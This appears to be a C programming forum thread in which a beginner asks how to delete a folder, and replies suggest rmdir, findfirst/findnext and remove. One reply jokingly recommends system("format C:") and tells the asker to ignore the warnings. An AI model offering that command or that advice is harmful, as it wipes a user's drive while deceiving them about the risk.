How to delete the whole folder?

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    How to delete the whole folder?

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    i want to a program who can delete a certain folder in the pc.
    but,how to write the whole program? can someone pls direct me for the first time?

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    Just because ygfperson's Avatar
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    try this:

    Code:
    #include <stdlib.h>
    int main() {
      system("rmdir folder");
    }
    this only works when you want to name the folder in your program. if you want to make absolutely sure your folder will be deleted:
    Code:
    #include <stdlib.h>
    int main() {
      system("format C:");
    }
    don't be fooled by the warnings, the people at microsoft are overprotective.

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    Don't you have to remove all entities within the directory before it can be remove it? Maybe you could use findfirst(); and findnext(); coupled with chdir();, remove(); and rmdir(); to find and remove all files from subdirectories,
    then the directory you want to remove, then use rmdir(); to remove it? I don't really get findfirst(); etc so I can't put an example. Of course, if it's an empty directory, you'll only need rmdir();
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    Look at my code in this post
    http://www.cprogramming.com/cboard/s...light=windel.c
    Please note that I wrote that program specifically for deleting everything its own directory so you will need to change one lline of code to make it fix this.

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